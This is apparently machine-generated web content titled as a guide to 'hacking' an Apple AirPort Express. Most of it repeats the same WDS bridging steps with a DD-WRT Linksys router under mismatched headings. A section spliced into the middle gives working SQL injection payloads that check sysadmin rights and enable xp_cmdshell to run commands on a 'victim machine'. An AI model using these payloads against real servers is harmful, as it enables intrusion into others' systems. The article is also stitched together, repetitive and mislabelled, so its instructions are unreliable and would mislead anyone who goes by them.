Unlocking Apple Airport Express: A Comprehensive Guide To Hacking

Apple AirPort Express is a wireless router that can be used to expand your wireless network. It can be hacked to increase the range of your network and bridge multiple access points wirelessly. To hack an Apple AirPort Express, you need to have DD-WRT installed on your Linksys WRT54G, or on any AP/Router that supports it. You will also need to write down the MAC address of both your WRT54G and your AirPort Express. Once you have this information, you can follow a series of steps to configure your AirPort Express and enable it as a WDS (Wireless Distribution System). This will allow you to interconnect multiple access points wirelessly and expand your network coverage.

How to increase the range of your network

If you want to increase the range of your network, you can use a Linksys WRT54G, a copy of DD-WRT and an Apple AirPort Express. First, write down the MAC address of both your WRT54G and your AirPort Express. Then, for the first entry in the list, select 'LAN' from the drop-down menu and type in the MAC address of your AirPort Express. Leave 'Lazy WDS' and 'WDS Subnet' disabled, and then click 'Save Settings'. Now, launch the AirPort Admin Utility (located in /Applications/Utilities), select your AirPort Express in the list, and click 'Configure'. At the configuration window, click the WDS tab. Select the 'Enable this base station as a WDS' option, and from the drop-down menu select 'remote base station', and also select the 'Allow wireless clients on this base station' option. For the Main AirPort ID, either type in the MAC address of your Linksys WRT54G (separated with colons) or click the select button, and in the sheet that appears, select your wireless network and click 'OK'. Once you’re back at the main AirPort Admin Utility window, click the 'Update' button, and then wait as your AirPort Express restarts.

How to bridge your wireless network

To bridge your wireless network, you need to have DD-WRT installed on your Linksys WRT54G, or on any AP/Router that supports it. You will also need to write down the MAC address of both your WRT54G and your AirPort Express. MAC addresses are commonly printed as 01:23:45:67:89:ab, but can sometimes be printed with dashes or without any separators. You can find the MAC address on the underside of the WRT54G and on the side of the AirPort Express.

Next, select the Apple Airport Express item on the base station chooser. Double click this and press Configure, then enter your password in the new window that pops up.

Now, launch the AirPort Admin Utility (located in /Applications/Utilities), select your AirPort Express in the list, and click the Configure button. At the configuration window, click the WDS tab.

Select the “Enable this base station as a WDS” option, and from the drop-down menu select “remote base station”, and also select the “Allow wireless clients on this base station” option. For the Main AirPort ID, either type in the MAC address of your Linksys WRT54G (separated with colons) or click the select button, and in the sheet that appears, select your wireless network and click OK.

Once you’re back at the main AirPort Admin Utility window, click the Update button, and then wait as your AirPort Express restarts.

How to allow only your computer to access your Wi-Fi

To allow only your computer to access your Wi-Fi while using Apple Airport Express, you will need to have DD-WRT installed on your Linksys WRT54G, or on any AP/Router that supports it. You will also need to write down the MAC address of both your WRT54G and your AirPort Express. This will likely be on the underside of the WRT54G and on the side of the AirPort Express. MAC addresses are commonly printed as 01:23:45:67:89:ab, but can sometimes be printed with dashes or without any separators.

Next, select the Apple Airport Express item on the base station chooser. Double click this and press Configure, then enter your password in the new window that pops up. Now, launch the AirPort Admin Utility (located in /Applications/Utilities), select your AirPort Express in the list, and click the Configure button. At the configuration window, click the WDS tab.

Select the “Enable this base station as a WDS” option, and from the drop-down menu select “remote base station”, and also select the “Allow wireless clients on this base station” option. For the Main AirPort ID, either type in the MAC address of your Linksys WRT54G (separated with colons) or click the select button, and in the sheet that appears, select your wireless network and click OK.

Once you’re back at the main AirPort Admin Utility window, click the Update button, and then wait as your AirPort Express restarts.

How to get a shell on a Microsoft SQL Server

To hack an Apple AirPort Express, you need to have DD-WRT installed on your Linksys WRT54G, or on any AP/Router that supports it. You will also need to write down the MAC address of both your WRT54G and your AirPort Express.

Now, for getting a shell on a Microsoft SQL Server, you can use a property and a feature from the MSSQL database called xp_cmdshell. This is not enabled by default on SQL Server unless the admin enables it. However, it can be enabled. You can use the following query to check your privileges and enable xp_cmdshell via SQL Injection:

> admin' UNION SELECT 1,is_srvrolemember('sysadmin'),3,4,5--+ Result of above query should be 1. If it is, let’s do further. admin' UNION SELECT 1,2,3,4,5; EXEC sp_configure 'show advanced options', 1--+ admin' UNION SELECT 1,2,3,4,5; RECONFIGURE--+ admin' UNION SELECT 1,2,3,4,5; EXEC sp_configure 'xp_cmdshell', 1--+ admin' UNION SELECT 1,2,3,4,5; RECONFIGURE--+

Once you have enabled xp_cmdshell, you can check if you can execute OS commands. This will allow you to execute commands on the victim machine.

How to set up a Wireless Distribution System (WDS)

To set up a Wireless Distribution System (WDS) on your Apple AirPort Express, you will need to have DD-WRT installed on your Linksys WRT54G, or on any AP/Router that supports it. You will also need to write down the MAC address of both your WRT54G and your AirPort Express. The MAC address is usually printed on the underside of the WRT54G and on the side of the AirPort Express.

Next, select the Apple AirPort Express item on the base station chooser. Double-click this and press Configure, then enter your password in the new window that pops up.

Now, launch the AirPort Admin Utility (located in /Applications/Utilities), select your AirPort Express in the list, and click the Configure button. At the configuration window, click the WDS tab.

Select the “Enable this base station as a WDS” option, and from the drop-down menu select “remote base station”, and also select the “Allow wireless clients on this base station” option. For the Main AirPort ID, either type in the MAC address of your Linksys WRT54G (separated with colons) or click the select button, and in the sheet that appears, select your wireless network and click OK.

Once you’re back at the main AirPort Admin Utility window, click the Update button, and then wait as your AirPort Express restarts.

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